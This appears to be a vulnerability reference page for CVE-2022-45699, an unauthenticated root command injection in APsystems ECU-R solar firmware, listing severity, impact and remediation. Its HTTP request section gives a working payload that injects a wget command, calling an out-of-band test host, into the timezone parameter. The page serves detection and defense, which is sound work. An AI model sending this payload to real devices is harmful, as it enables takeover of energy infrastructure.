🔙 목록으로 돌아가기

CVE-2022-45699: APsystems ECU-R Firmware - Command Injection

TitleAPsystems ECU-R Firmware - Command Injection
Authorpussycat0x
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure.
RemediationUpgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection.
CVSS Score9.8
EPSS Score0.90791
CVE IDCVE-2022-45699
CWE IDCWE-78,CWE-94
Tags cve cve2022 rce apsystems vkev vuln

🔍 Vulnerability Description

Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php/management/set_timezone HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

timezone=;wget+d5jn0mhle0o1dk0t07m0p9armurwbya1g.oast.fun;#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45699.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45699.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A